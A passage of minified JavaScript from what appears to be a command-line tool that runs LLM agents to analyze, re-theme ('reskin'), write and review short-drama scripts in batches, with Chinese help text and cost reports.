M=d.review??={converged:!1};u("review")||await f("review",async I=>{M.converged=!1;let O=!1,U=0,C=R=>{I(R),R.type==="global"&&U++,(R.type==="global"||R.type==="episode")&&R.state==="failed"&&(O=!0),R.type==="done"&&(M.converged=U>0&&!O)};return await t.reviewReskinScript({...n.config(e.models.review),scriptPath:a.script,sourcePath:a.source,analysisPath:a.analysis,planPath:a.plan,convergeOnly:!0,concurrency:5,maxSteps:300,episodeTimeoutMs:8*6e4,onEvent:C}),M.converged?null:"\u5168\u5267\u6536\u5C3E\u6CA1\u6709\u5B8C\u6210"})}for(let c of e.dramas){let a=Oa(Tp(n.outputDir,c.id).status);i.set(c.id,{...a??{id:c.id,steps:{},step:null,reason:"",updated_at:""},state:"pending"})}return r(),await RS(e.dramas,n.concurrency,async c=>{try{await s(c);let d=i.get(c.id);d.state=n.until&&n.until!=="review"?"stopped":"completed",d.reason=d.state==="stopped"?`\u6309 --until \u505C\u5728 ${n.until}`:""}catch(d){let p=i.get(c.id)??{id:c.id,steps:{},step:null,reason:"",state:"failed",updated_at:""};i.set(c.id,p),p.state=d instanceof Rn?d.state:"failed",p.reason=d instanceof Error?d.message:String(d)}let a=i.get(c.id);a.updated_at=new Date(o()).toISOString(),Ra(Tp(n.outputDir,c.id).status,a),r(),n.onEvent?.({type:"drama-done",drama:c.id,state:a.state,step:a.step,reason:a.reason})}),e.dramas.map(c=>i.get(c.id))}function MS(e){let t=e.split(`
228
- `)[0].replace(/\|/g,"\uFF0F");return t.length>160?`${t.slice(0,160)}\u2026`:t}function dg(e){return`${Math.round(e/6e4)} \u5206\u949F`}function LS(e,t,n){let o=n.map(s=>{let c=Object.fromEntries(os.filter(p=>s.steps[p]).map(p=>{let l=s.steps[p];return[p,{state:l.state,runs:l.runs,wall_ms:l.wall_ms,...cg(l.usage,t.prices),usage:l.usage}]})),a={};for(let p of Object.values(s.steps))for(let[l,f]of Object.entries(p.usage)){let u=a[l]??={calls:0,input:0,cached_input:0,output:0};u.calls+=f.calls,u.input+=f.input,u.cached_input+=f.cached_input,u.output+=f.output}let d=Object.values(s.steps).reduce((p,l)=>p+l.wall_ms,0);return{id:s.id,state:s.state,step:s.step,reason:s.reason,wall_ms:d,...cg(a,t.prices),usage:a,steps:c,direction:s.direction??null}});Ra(Ee.join(e,"batch-report.json"),{updated_at:new Date().toISOString(),dramas:o});let i={pending:"\u7B49\u5F85",running:"\u8FDB\u884C\u4E2D",completed:"\u5B8C\u6210",stopped:"\u505C\u4E0B",failed:"\u5931\u8D25"},r=["# \u6362\u58F3\u6279\u91CF\u8FD0\u884C","","| \u5267 | \u72B6\u6001 | \u6B65\u9AA4 | \u7528\u65F6 | \u8D39\u7528\uFF08\u7F8E\u5143\uFF09 | \u8BF4\u660E |","| --- | --- | --- | --- | --- | --- |",...o.map(s=>`| ${s.id} | ${i[s.state]} | ${s.step??""} | ${dg(s.wall_ms)} | ${s.usd.toFixed(2)}${s.unpriced.length?`\uFF08\u672A\u8BA1\u4EF7\uFF1A${s.unpriced.join("\u3001")}\uFF09`:""} | ${MS(s.reason)} |`),"",...o.flatMap(s=>[`## ${s.id}`,"","| \u6B65\u9AA4 | \u72B6\u6001 | \u8FD0\u884C\u6B21\u6570 | \u7528\u65F6 | \u8F93\u5165 tok | \u7F13\u5B58\u547D\u4E2D | \u8F93\u51FA tok | \u8D39\u7528 |","| --- | --- | --- | --- | --- | --- | --- | --- |",...Object.entries(s.steps).map(([c,a])=>{let d=Object.values(a.usage).reduce((p,l)=>({input:p.input+l.input,cached:p.cached+l.cached_input,output:p.output+l.output}),{input:0,cached:0,output:0});return`| ${c} | ${a.state} | ${a.runs} | ${dg(a.wall_ms)} | ${(d.input/1e6).toFixed(2)}M | ${d.input?Math.round(d.cached/d.input*100):0}% | ${(d.output/1e6).toFixed(2)}M | ${a.usd.toFixed(2)} |`}),...s.direction?["",s.direction.suitability?`\u9002\u5408\u5EA6 ${s.direction.suitability.score}/5\uFF1A${s.direction.suitability.reason}`:"",s.direction.verdict?`\u6307\u5B9A\u65B9\u5411\u5224\u65AD\uFF1A${s.direction.verdict}\uFF1B${s.direction.verdict_reason}`:"",...s.direction.candidates.map((c,a)=>`${a+1}. ${c.title}\uFF1A${c.shell}\uFF08\u53EF\u884C\u6027 ${c.feasibility}\uFF0C\u5DEE\u5F02\u5EA6 ${c.distinctiveness}\uFF09${a+1===s.direction.recommended&&s.direction.mode==="candidates"?" \u2190 \u63A8\u8350":""}${a+1===s.direction.picked?" \u2190 \u9009\u5B9A":""}`)].filter(Boolean):[],""])];ge.writeFileSync(Ee.join(e,"batch-report.md"),r.join(`
229
- `))}var ug="reskin",NS=["minimal","low","medium","high"],Vp=["overall","events","beats"];function at(e,t){if(!e||!to.existsSync(e))throw new S(`${t} not found.`,{exitCode:b,errorCode:"RESKIN_INPUT_NOT_FOUND",hint:`Pass an existing ${t}.`,data:{expected:[`existing ${t}`],actual:[e||"<empty>"]}});return e}function fg(e,t){let n=ba(e,t),o=e.providers[e.models[t].provider]?.protocol,i=e.models[t].reasoning,r=o?.startsWith("google")&&NS.includes(i??"")?i:void 0;return{profile:n,config:{provider:e.models[t].provider,apiKey:n.apiKey,model:n.model,maxAttempts:n.maxAttempts,...n.baseUrl?{baseUrl:n.baseUrl}:{},...o?{protocol:o}:{},...r?{thinking:r}:{}}}}function eo(e){let t=vo(v(e.llm_config).trim()||void 0),n=v(e.model).trim()||(t.models[ug]?ug:"review-agent"),{profile:o,config:i}=fg(t,n),r=(t.models[n].fallbacks??[]).flatMap(s=>{try{return[fg(t,s).config]}catch{return[]}});return{llm:t,name:n,profile:o,config:{...i,singleModel:e.fallback===!1,...r.length?{fallbacks:r}:{}}}}function or(e,t){return e instanceof S?e:new S("Reskin failed.",{exitCode:X,errorCode:t,hint:"Read the NDJSON events and the saved plan or script before retrying; completed work is kept.",data:{expected:["a completed reskin run"],actual:[e instanceof Error?e.message:String(e)]}})}var mi=e=>process.stdout.write(JSON.stringify(e)+`
230
- `);async function ir(e,t){let{llm:n,name:o,profile:i}=eo(e),s=typeof(await nn())[t]=="function";return[{text:s?`ready: ${o} ${i.provider}/${i.model}`:"the agent bundle exports no reskin commands",data:{ready:s,profile:o,provider:i.provider,model:i.model,llm_config:n.sourcePath??"builtin"}},s?G:X]}async function mg(e){if(e.check)return ir(e,"analyzeReskinSource");let{config:t}=eo(e),n=at(me(e),"source script"),o=v(e.output).trim();if(!o)throw new S("Analysis output path missing.",{exitCode:b,errorCode:"RESKIN_INPUT_NOT_FOUND",hint:"Pass -o <\u62C6\u89E3.json>.",data:{expected:["analysis output path"],actual:["<empty>"]}});let i=await nn();try{let r=await i.analyzeReskinSource({...t,sourcePath:n,outputPath:o,force:e.force===!0,...e.concurrency!==void 0?{concurrency:st(e,"concurrency",5)}:{},...e.unit_timeout_ms!==void 0?{unitTimeoutMs:st(e,"unit_timeout_ms",6e5)}:{},onEvent:mi});return[{text:"",data:{}},r.type==="analyze-done"&&r.state==="completed"?G:X]}catch(r){throw or(r,"RESKIN_ANALYZE_FAILED")}}async function gg(e){if(e.check)return ir(e,"assessReskinPaths");let{config:t}=eo(e),n=at(v(e.analysis).trim(),"analysis"),o=v(e.markets).split(/[,,]/).map(s=>s.trim()).filter(Boolean);if(!o.length)throw new S("Candidate markets missing.",{exitCode:b,errorCode:"RESKIN_INPUT_NOT_FOUND",hint:"Pass --markets, e.g. --markets \u4E2D\u56FD,\u5370\u5C3C,\u7F8E\u56FD.",data:{expected:["comma-separated markets"],actual:["<empty>"]}});let i=v(e.output).trim(),r=await nn();try{let s=await r.assessReskinPaths({...t,analysisPath:n,markets:o,notes:v(e.notes),onEvent:mi});return i&&s.type==="paths-done"&&s.state==="completed"&&to.writeFileSync(i,JSON.stringify(s,null,2)+`
231
- `),[{text:"",data:{}},s.type==="paths-done"&&s.state==="completed"?G:X]}catch(s){throw or(s,"RESKIN_PATHS_FAILED")}}async function hg(e){if(e.check)return ir(e,"proposeReskinDirections");let{config:t}=eo(e),n=at(me(e),"source script"),o=at(v(e.analysis).trim(),"analysis"),i=v(e.output).trim(),r=v(e.evidence).trim(),s=r?to.readFileSync(at(r,"evidence"),"utf8"):void 0,c=await nn();try{let a=await c.proposeReskinDirections({...t,sourcePath:n,analysisPath:o,notes:v(e.notes),custom:v(e.custom),market:v(e.market).trim(),rating:v(e.rating).trim(),avoid:(Array.isArray(e.avoid)?e.avoid:[]).map(d=>String(d).trim()).filter(Boolean),evidence:s,onEvent:mi});return i&&a.type==="direction-done"&&a.state==="completed"&&to.writeFileSync(i,JSON.stringify(a,null,2)+`
232
- `),[{text:"",data:{}},a.type==="direction-done"&&a.state==="completed"?G:X]}catch(a){throw or(a,"RESKIN_DIRECTION_FAILED")}}async function yg(e){if(e.check)return ir(e,"buildReskinPlan");let{config:t}=eo(e),n=at(me(e),"source script"),o=at(v(e.analysis).trim(),"analysis"),i=at(v(e.direction).trim(),"direction"),r=v(e.output).trim(),s=v(e.until).trim();if(!r)throw new S("Plan output path missing.",{exitCode:b,errorCode:"RESKIN_INPUT_NOT_FOUND",hint:"Pass -o <\u6362\u58F3\u65B9\u6848.json>.",data:{expected:["plan output path"],actual:["<empty>"]}});if(s&&!Vp.includes(s))throw new S("Unknown plan layer.",{exitCode:b,errorCode:"RESKIN_LAYER_UNKNOWN",hint:`Pass --until ${Vp.join("|")}.`,data:{expected:[...Vp],actual:[s]}});let c=await nn();try{let a=await c.buildReskinPlan({...t,sourcePath:n,analysisPath:o,directionPath:i,planPath:r,...s?{until:s}:{},force:e.force===!0,...e.unit_timeout_ms!==void 0?{unitTimeoutMs:st(e,"unit_timeout_ms",18e5)}:{},onEvent:mi}),d=a.type==="plan-done"&&a.state!=="failed";return[{text:"",data:{}},d?G:X]}catch(a){throw or(a,"RESKIN_PLAN_FAILED")}}async function wg(e){let t=v(e.review_model).trim()?eo({...e,model:e.review_model}).config:void 0;if(e.check)return ir(e,"writeReskinScript");let{config:n}=eo(e),o=me(e),i=at(v(e.source).trim(),"source script"),r=at(v(e.analysis).trim(),"analysis"),s=at(v(e.plan).trim(),"plan"),c=ns(v(e.episodes)),a=await nn();try{let d=await a.writeReskinScript({...n,sourcePath:i,analysisPath:r,planPath:s,scriptPath:o,...c?{episodes:c}:{},force:e.force===!0,concurrency:st(e,"concurrency",6),...t?{reviewModel:t}:{},episodeTimeoutMs:st(e,"episode_timeout_ms",48e4),onEvent:mi});return[{text:"",data:{}},d.type==="done"&&d.failed.length===0?G:X]}catch(d){throw or(d,"RESKIN_WRITE_FAILED")}}async function _g(e){if(e.check)return ir(e,"reviewReskinScript");let{config:t}=eo(e),n=at(me(e),"reskinned script"),o=at(v(e.source).trim(),"source script"),i=at(v(e.analysis).trim(),"analysis"),r=at(v(e.plan).trim(),"plan"),s=ns(v(e.episodes)),c=await nn();try{let a=await c.reviewReskinScript({...t,scriptPath:n,sourcePath:o,analysisPath:i,planPath:r,...s?{episodes:s}:{},concurrency:st(e,"concurrency",10),converge:e.converge!==!1,convergeOnly:e.converge_only===!0,maxSteps:st(e,"max_steps",300),episodeTimeoutMs:st(e,"episode_timeout_ms",9e5),onEvent:mi});return[{text:"",data:{}},a.some(d=>(d.type==="episode"||d.type==="global")&&d.state==="failed")?X:G]}catch(a){throw or(a,"RESKIN_REVIEW_FAILED")}}async function Eg(e){let t=e._args??[],n=at(v(t[0]).trim(),"batch manifest"),o=v(e.output).trim();if(!o)throw new S("Batch output folder missing.",{exitCode:b,errorCode:"RESKIN_INPUT_NOT_FOUND",hint:"Pass -o <folder>; each drama gets its own project folder inside it.",data:{expected:["batch output folder"],actual:["<empty>"]}});let i=v(e.until).trim();if(i&&!os.includes(i))throw new S("Unknown batch step.",{exitCode:b,errorCode:"RESKIN_LAYER_UNKNOWN",hint:`Pass --until ${os.join("|")}.`,data:{expected:[...os],actual:[i]}});let r;try{r=pg(n)}catch(l){throw new S("Batch manifest is invalid.",{exitCode:b,errorCode:"RESKIN_BATCH_INVALID",hint:"Fix the manifest and run again.",data:{expected:["{ dramas: [{ source, ... }] }"],actual:[l instanceof Error?l.message:String(l)]}})}let s=v(e.pick).trim();s&&(r.pick=s==="recommended"?"recommended":st(e,"pick",1));let c=new Map(Object.values(r.models).map(l=>[l,eo({...e,model:l}).config])),a=await nn();to.mkdirSync(o,{recursive:!0});let p=(await lg(r,a,{outputDir:o,until:i||void 0,concurrency:st(e,"concurrency",2),attempts:st(e,"attempts",3),config:l=>c.get(l),onEvent:mi})).filter(l=>l.state==="failed").length;return[{text:"",data:{}},p?X:G]}function xg(e,t){ee(e.command("review"),"write").description("\u6D3E\u53D1 agent \u5BA1\u6838\u5267\u672C\uFF1A\u7ED9 -s \u5BF9\u7167\u6587\u672C\u3001\u6F2B\u753B\u6216\u89C6\u9891\u539F\u7A3F\uFF0C\u4E0D\u7ED9\u5219\u68C0\u67E5\u5267\u672C\u5185\u90E8\u4E00\u81F4\u6027").option("-s, --source-path <path>","\u6587\u672C/\u6F2B\u753B ingest \u5DE5\u4F5C\u533A\u3001\u539F txt/md/docx/PDF \u6216\u89C6\u9891\u6587\u4EF6/\u76EE\u5F55").option("--video <path>","\u7B2C N \u96C6\u7684\u89C6\u9891\uFF1B\u6309\u96C6\u987A\u5E8F\u91CD\u590D\u4F20\uFF0C\u8986\u76D6 -s \u7684\u76EE\u5F55\u6392\u5E8F",(i,r)=>[...r,i],[]).addOption(new US("--review-strategy <strategy>","\u89C6\u9891\u5BA1\u6838\u6267\u884C\u65B9\u5F0F\uFF1Abatch \u53EF\u9009\u8054\u5408\u5BA1\u6838\uFF08\u9700\u4EBA\u5DE5\u590D\u6838\u8BC1\u636E\u51B2\u7A81\uFF09\uFF1Blegacy \u9010\u9879\u4FEE\u6B63").choices(["batch","legacy"]).default("legacy")).option("--episodes <list>","\u53EA\u5BA1\u8FD9\u4E9B\u96C6\uFF0C\u9017\u53F7\u5206\u9694\uFF08\u9ED8\u8BA4\u5168\u5267\uFF09").option("--concurrency <n>","\u540C\u65F6\u5728\u98DE\u7684\u96C6\u6570",Number).option("--episode-timeout-ms <ms>","\u5355\u96C6\u8D85\u65F6\uFF08\u9ED8\u8BA4 15 \u5206\u949F\uFF09\uFF1B\u5230\u70B9\u6536\u5C3E\u5E76\u4FDD\u7559\u5DF2\u8BB0\u5F55\u7684\u7ED3\u8BBA",Number).option("--max-steps <n>","\u5355\u96C6\u6700\u591A\u51E0\u6B65\u5DE5\u5177\u8C03\u7528",Number).option("--media-budget <n>","\u5A92\u4F53\u9884\u7B97\uFF1A\u9010\u96C6\u9ED8\u8BA4 1 \u6B21\uFF1B\u4EBA\u7269\u9636\u6BB5\u9ED8\u8BA4\u8986\u76D6\u5168\u90E8\u76F8\u5173\u96C6\uFF0C\u663E\u5F0F\u503C\u9650\u5236\u672C\u6B21\u8986\u76D6\u96C6\u6570",Number).option("--converge-only","\u53EA\u6267\u884C\u5168\u5267\u6536\u655B\uFF0C\u4E0D\u91CD\u65B0\u5BA1\u6838\u5404\u96C6").option("--assets <list>","\u89C6\u9891\u5B9A\u70B9\u590D\u6838\u7684\u8D44\u4EA7 ID\uFF0C\u9017\u53F7\u5206\u9694\uFF1B\u4E0E --converge-only \u540C\u7528\uFF0C\u53EF\u7528 --episodes \u9650\u5B9A\u4EBA\u7269\u9636\u6BB5\u8303\u56F4").option("--resume-log <path>","\u4ECE\u5F53\u524D\u5267\u672C\u7684\u65E2\u6709\u5BA1\u6838\u65E5\u5FD7\u7EED\u8DD1\uFF0C\u4FDD\u7559\u5DF2\u5B8C\u6210\u5355\u5143\uFF1B\u591A\u4EFD\u65E5\u5FD7\u6309\u65F6\u95F4\u5148\u540E\u91CD\u590D\u4F20\u5165",(i,r=[])=>[...r,i]).option("--no-converge","\u8DF3\u8FC7\u5168\u5267\u6536\u655B\u9636\u6BB5").option("--model <profile>","\u8986\u76D6 LLM profile\uFF08\u89C6\u9891/\u7EAF\u5267\u672C\u9ED8\u8BA4 review-agent\uFF0C\u6587\u672C review-text\uFF0C\u6F2B\u753B review-comic\uFF09").option("--media-model <profile>","\u89C6\u9891\u53D6\u8BC1\u4F7F\u7528\u7684 LLM profile\uFF08\u5168\u96C6\u5B9A\u4F4D\u3001\u9759\u5E27\u4E0E\u97F3\u8F68\u6838\u5BF9\uFF09").option("--no-fallback","\u53EA\u7528\u6240\u9009\u6A21\u578B\uFF0C\u5931\u8D25\u65F6\u4E0D\u6362\u7528\u5176\u4ED6\u6A21\u578B").option("--llm-config <path>","LLM configuration file").option("--check","\u53EA\u68C0\u67E5\u6A21\u578B\u4E0E agent \u662F\u5426\u5C31\u7EEA\uFF0C\u4E0D\u5BA1\u6838").action(H(ag,t));let n=e.command("reskin").description("\u6362\u58F3\u4EFF\u5199\uFF1A\u62C6\u89E3\u539F\u5267\uFF0C\u63D0\u51FA\u65B0\u58F3\u65B9\u5411\uFF0C\u9010\u5C42\u5B9A\u6362\u58F3\u65B9\u6848\uFF08\u6574\u4F53\u65B9\u6848 \u2192 \u4E8B\u4EF6 \u2192 \u8282\u62CD\uFF09\uFF0C\u6309\u7ED3\u6784\u8868\u9010\u96C6\u5199\u65B0\u5267\uFF0C\u518D\u505A\u6362\u58F3\u5BA1\u6838"),o=i=>i.option("--model <profile>","\u8986\u76D6 LLM profile\uFF08\u9ED8\u8BA4 reskin\uFF09").option("--no-fallback","\u53EA\u7528\u6240\u9009\u6A21\u578B\uFF0C\u5931\u8D25\u65F6\u4E0D\u6362\u7528\u5176\u4ED6\u6A21\u578B\uFF08\u9ED8\u8BA4\u6309\u914D\u7F6E\u7684\u964D\u7EA7\u987A\u5E8F\u6362\u7528\uFF09").option("--llm-config <path>","LLM configuration file").option("--check","\u53EA\u68C0\u67E5\u6A21\u578B\u4E0E agent \u662F\u5426\u5C31\u7EEA");o(ee(n.command("analyze"),"read").description("\u62C6\u89E3\u539F\u5267\uFF1A\u5148\u901A\u8BFB\u5168\u5267\u5212\u5206\u9636\u6BB5\u4E0E\u4E8B\u4EF6\uFF0C\u518D\u6309\u9636\u6BB5\u5E76\u884C\u5199\u4E8B\u4EF6\u4E8B\u5B9E\u3001\u6309\u96C6\u5E76\u884C\u5207\u8282\u62CD\uFF0C\u540C\u65F6\u5F52\u7EB3\u5168\u5267\u753B\u50CF\uFF08\u539F\u5267\u5730\u533A\u4E0E\u53F0\u8BCD\u8BED\u8A00\u3001\u6362\u58F3\u9002\u5408\u5EA6\uFF09\u3002-p \u4E3A\u539F\u5267\u5267\u672C\uFF1B\u5DF2\u5B8C\u6210\u7684\u5355\u5143\u4FDD\u5B58\u5728\u8F93\u51FA\u6587\u4EF6\u65C1\u7684 .cache/analyze.json\uFF0C\u518D\u6B21\u8FD0\u884C\u4ECE\u65AD\u70B9\u7EE7\u7EED").option("-o, --output <path>","\u539F\u5267\u62C6\u89E3 JSON\uFF08\u5FC5\u586B\uFF09").option("--force","\u5FFD\u7565\u5DF2\u4FDD\u5B58\u7684\u8FDB\u5EA6\u91CD\u65B0\u62C6\u89E3").option("--concurrency <n>","\u5E76\u884C\u7684\u5355\u5143\u6570",Number).option("--unit-timeout-ms <ms>","\u5355\u4E2A\u5355\u5143\u7684\u8D85\u65F6",Number)).action(H(mg,t)),o(n.command("paths").description("\u9009\u9898\u5224\u65AD\uFF1A\u8BFB\u539F\u5267\u62C6\u89E3\u7684\u753B\u50CF\u4E0E\u5927\u7EB2\uFF0C\u9010\u4E2A\u5019\u9009\u5E02\u573A\u5217\u51FA\u8D70\u5F97\u901A\u7684\u6539\u7F16\u8DEF\u5F84\uFF08\u540C\u5E02\u573A\u6362\u8F7D\u4F53\u3001\u8DE8\u5E02\u573A\u672C\u5730\u5316\u3001\u8DE8\u5E02\u573A\u6362\u58F3\u3001\u6362\u4E16\u754C\u89C2\uFF09\uFF0C\u7ED9\u51FA\u5EFA\u8BAE\u505A\u51E0\u4E2A\u7248\u672C").option("--analysis <path>","\u539F\u5267\u62C6\u89E3 JSON\uFF08\u5FC5\u586B\uFF09").option("--markets <list>","\u5019\u9009\u5E02\u573A\uFF0C\u9017\u53F7\u5206\u9694\uFF08\u5FC5\u586B\uFF09\uFF0C\u5982 \u4E2D\u56FD,\u5370\u5C3C,\u7F8E\u56FD").option("--notes <text>","\u7528\u6237\u8981\u6C42\u4E0E\u4E1A\u52A1\u4F18\u5148").option("-o, --output <path>","\u628A\u7ED3\u679C\u53E6\u5B58\u4E3A JSON")).action(H(gg,t)),o(ee(n.command("direction"),"read").description("\u63D0\u51FA 2\u20133 \u4E2A\u5019\u9009\u65B0\u58F3\uFF1B\u7ED9\u51FA --custom \u65F6\u5224\u65AD\u7528\u6237\u6307\u5B9A\u7684\u65B9\u5411\u662F\u5426\u53EF\u884C\u5E76\u6309\u5B83\u8BBE\u8BA1\u4E00\u4E2A\u5019\u9009\u3002-p \u4E3A\u539F\u5267\u5267\u672C").option("--analysis <path>","\u539F\u5267\u62C6\u89E3 JSON\uFF08\u5FC5\u586B\uFF09").option("--notes <text>","\u7528\u6237\u7684\u6362\u58F3\u8981\u6C42").option("--custom <text>","\u7528\u6237\u6307\u5B9A\u7684\u6362\u58F3\u65B9\u5411").option("--market <text>","\u65B0\u5267\u9762\u5411\u7684\u76EE\u6807\u5E02\u573A\uFF0C\u9ED8\u8BA4\u540C\u539F\u5267").option("--rating <text>","\u5C3A\u5EA6\u8981\u6C42\uFF0C\u9ED8\u8BA4\u540C\u539F\u5267").option("--avoid <shell>","\u8FD9\u90E8\u539F\u5267\u5DF2\u505A\u8FC7\u7684\u7248\u672C\u7684\u58F3\uFF0C\u53EF\u91CD\u590D\u7ED9\u51FA\uFF1B\u65B0\u5019\u9009\u4E0E\u5B83\u4EEC\u660E\u663E\u4E0D\u540C",(i,r=[])=>[...r,i]).option("--evidence <path>","\u76EE\u6807\u5E02\u573A\u540C\u7C7B\u5267\u6570\u636E\uFF08\u6587\u672C\u6587\u4EF6\uFF09\uFF1A\u70ED\u95E8\u9898\u6750\u5206\u5E03\u3001\u4EE3\u8868\u5267\uFF0C\u7528\u6765\u5224\u65AD\u5E02\u573A\u5951\u5408").option("-o, --output <path>","\u628A\u7ED3\u679C\u53E6\u5B58\u4E3A JSON")).action(H(hg,t)),o(ee(n.command("plan"),"read").description("\u9010\u5C42\u751F\u6210\u6362\u58F3\u65B9\u6848\uFF1A\u6574\u4F53\u65B9\u6848\uFF08\u542B\u9636\u6BB5\u8D70\u5411\uFF09\u2192 \u5404\u9636\u6BB5\u4E8B\u4EF6 \u2192 \u5404\u9636\u6BB5\u8282\u62CD\uFF0C\u4E0B\u5C42\u53EF\u56DE\u6539\u4E0A\u5C42\u5E76\u590D\u67E5\u53D7\u5F71\u54CD\u7684\u90E8\u5206\u3002-p \u4E3A\u539F\u5267\u5267\u672C\uFF1B\u5DF2\u6709\u65B9\u6848\u65F6\u4ECE\u672A\u5B8C\u6210\u7684\u90E8\u5206\u7EE7\u7EED").option("--analysis <path>","\u539F\u5267\u62C6\u89E3 JSON\uFF08\u5FC5\u586B\uFF09").option("--direction <path>","\u9009\u5B9A\u7684\u6362\u58F3\u65B9\u5411\u8BF4\u660E\uFF08\u5FC5\u586B\uFF09").option("-o, --output <path>","\u6362\u58F3\u65B9\u6848 JSON\uFF08\u5FC5\u586B\uFF09").option("--until <layer>","\u505A\u5230\u8FD9\u4E00\u5C42\u540E\u6682\u505C\uFF1Aoverall | events | beats").option("--force","\u5FFD\u7565\u5DF2\u6709\u65B9\u6848\u91CD\u65B0\u751F\u6210").option("--unit-timeout-ms <ms>","\u5355\u4E2A\u5355\u5143\u7684\u8D85\u65F6",Number)).action(H(yg,t)),o(ee(n.command("write"),"write").description("\u6309\u6362\u58F3\u65B9\u6848\u7684\u7ED3\u6784\u8868\u5199\u65B0\u5267\uFF1A\u9636\u6BB5\u5185\u6309\u96C6\u5E8F\u5199\uFF0C\u9636\u6BB5\u4E4B\u95F4\u5E76\u884C\uFF1B\u53EF\u9010\u96C6\u5BA1\u6838\u5E76\u4F20\u9012\u8D26\u672C\u3002-p \u4E3A\u65B0\u5267\u5267\u672C\uFF0C\u4E0D\u5B58\u5728\u6216\u6362\u540D\u6362\u5916\u89C2\u53D8\u5316\u65F6\u4ECE\u539F\u5267\u590D\u5236\uFF1B\u6BCF\u6761\u6B63\u6587\u8BB0\u4E0B\u6240\u5C5E\u7684\u65B0\u8282\u62CD\uFF0C\u4E0D\u5199\u65F6\u95F4\u6233").option("--source <path>","\u539F\u5267\u5267\u672C\uFF08\u5FC5\u586B\uFF09").option("--analysis <path>","\u539F\u5267\u62C6\u89E3 JSON\uFF08\u5FC5\u586B\uFF09").option("--plan <path>","\u5DF2\u5B8C\u6210\u7684\u6362\u58F3\u65B9\u6848 JSON\uFF08\u5FC5\u586B\uFF09").option("--episodes <list>","\u53EA\u5199\u8FD9\u4E9B\u96C6\uFF0C\u9017\u53F7\u5206\u9694\uFF08\u9ED8\u8BA4\u5168\u5267\u672A\u5B8C\u6210\u7684\u96C6\uFF09").option("--force","\u6240\u9009\u7684\u96C6\u5DF2\u5199\u8FC7\u4E5F\u91CD\u5199").option("--review-model <profile>","\u9010\u96C6\u5199\u5B8C\u5373\u7528\u6B64 profile \u5BA1\u6838\uFF0C\u8D26\u672C\u4F20\u7ED9\u4E0B\u4E00\u96C6").option("--concurrency <n>","\u540C\u65F6\u8FD0\u884C\u7684\u9636\u6BB5\u94FE\u6570\uFF08\u9ED8\u8BA4 6\uFF09",Number).option("--episode-timeout-ms <ms>","\u5355\u96C6\u5199\u4F5C\u8BF7\u6C42\u8D85\u65F6\uFF08\u9ED8\u8BA4 8 \u5206\u949F\uFF09\uFF1B\u9010\u96C6\u5BA1\u6838\u6309\u5BA1\u6838\u7684\u5355\u96C6\u8D85\u65F6\uFF0815 \u5206\u949F\uFF09",Number)).action(H(wg,t)),o(ee(n.command("review"),"write").description("\u6362\u58F3\u5BA1\u6838\uFF1A\u6309\u96C6\u5E8F\u901A\u8BFB\uFF0C\u9010\u96C6\u5BA1\u6362\u5F97\u662F\u5426\u5408\u7406\u3001\u662F\u5426\u770B\u5F97\u61C2\u4E0E\u901A\u987A\u3001\u524D\u540E\u662F\u5426\u8FDE\u8D2F\u3001\u9020\u578B\u4E0E\u573A\u666F\u5F15\u7528\u662F\u5426\u51C6\u786E\uFF0C\u5904\u7406\u7A0B\u5E8F\u68C0\u67E5\u7ED3\u679C\uFF0C\u518D\u505A\u5168\u5267\u6536\u5C3E\u3002-p \u4E3A\u65B0\u5267\u5267\u672C\uFF1B\u4E8B\u4EF6\u683C\u5F0F\u4E0E review \u76F8\u540C").option("--source <path>","\u539F\u5267\u5267\u672C\uFF08\u5FC5\u586B\uFF09").option("--analysis <path>","\u539F\u5267\u62C6\u89E3 JSON\uFF08\u5FC5\u586B\uFF09").option("--plan <path>","\u6362\u58F3\u65B9\u6848 JSON\uFF08\u5FC5\u586B\uFF09").option("--episodes <list>","\u53EA\u5BA1\u8FD9\u4E9B\u96C6\uFF0C\u9017\u53F7\u5206\u9694\uFF08\u9ED8\u8BA4\u5168\u90E8\uFF09").option("--concurrency <n>","\u540C\u65F6\u8FDB\u884C\u7684\u9636\u6BB5\u94FE\u6570\uFF08\u9ED8\u8BA4 10\uFF09",Number).option("--max-steps <n>","\u6BCF\u96C6\u6700\u591A\u51E0\u6B65\u5DE5\u5177\u8C03\u7528",Number).option("--episode-timeout-ms <ms>","\u5355\u96C6\u8D85\u65F6\uFF08\u9ED8\u8BA4 15 \u5206\u949F\uFF09",Number).option("--converge-only","\u53EA\u6267\u884C\u9636\u6BB5\u9996\u96C6\u63A5\u7F1D\u590D\u6838\u4E0E\u5168\u5267\u6536\u5C3E").option("--no-converge","\u8DF3\u8FC7\u5168\u5267\u6536\u5C3E")).action(H(_g,t)),n.command("batch").argument("<manifest>","\u6279\u91CF\u6E05\u5355 JSON\uFF1A{ dramas: [{ id, source, market, language, rating, notes, custom, pick, avoid }], models, prices, pick }").description("\u65E0\u4EBA\u503C\u5B88\u6279\u91CF\u6362\u58F3\uFF1A\u6BCF\u90E8\u5267\u5728 -o \u4E0B\u6709\u81EA\u5DF1\u7684\u9879\u76EE\u76EE\u5F55\uFF0C\u4F9D\u6B21\u62C6\u89E3 \u2192 \u65B9\u5411 \u2192 \u65B9\u6848 \u2192 \u5199\u4F5C \u2192 \u5BA1\u6838\uFF0C\u6BCF\u6B65\u4ECE\u5DF2\u4FDD\u5B58\u7684\u8FDB\u5EA6\u7EE7\u7EED\u3002\u62C6\u89E3\u8BC4\u51FA\u7684\u9002\u5408\u5EA6\u4F4E\u4E8E 3 \u4E14\u6CA1\u5199 pick \u65F6\u505C\u5728\u62C6\u89E3\u540E\uFF0C\u6307\u5B9A\u65B9\u5411\u4E0D\u53EF\u884C\u6216\u9700\u8981\u4EBA\u5DE5\u9009\u65B9\u5411\u65F6\u505C\u5728\u65B9\u5411\u6B65\uFF1B\u8865\u4E0A pick \u540E\u518D\u8FD0\u884C\u5373\u4ECE\u65B9\u5411\u7EE7\u7EED\u3002\u8FDB\u5EA6\u4E0E\u62A5\u544A\u5199\u5728 -o \u4E0B\u7684 batch-report.json / batch-report.md").option("-o, --output <dir>","\u6279\u91CF\u8F93\u51FA\u76EE\u5F55\uFF08\u5FC5\u586B\uFF09").option("--concurrency <n>","\u540C\u65F6\u8FDB\u884C\u7684\u5267\u6570\uFF08\u9ED8\u8BA4 2\uFF09",Number).option("--attempts <n>","\u6BCF\u6B65\u6700\u591A\u8FD0\u884C\u51E0\u6B21\uFF0C\u6BCF\u6B21\u4ECE\u4E0A\u6B21\u8FDB\u5EA6\u7EE7\u7EED\uFF08\u9ED8\u8BA4 3\uFF09",Number).option("--pick 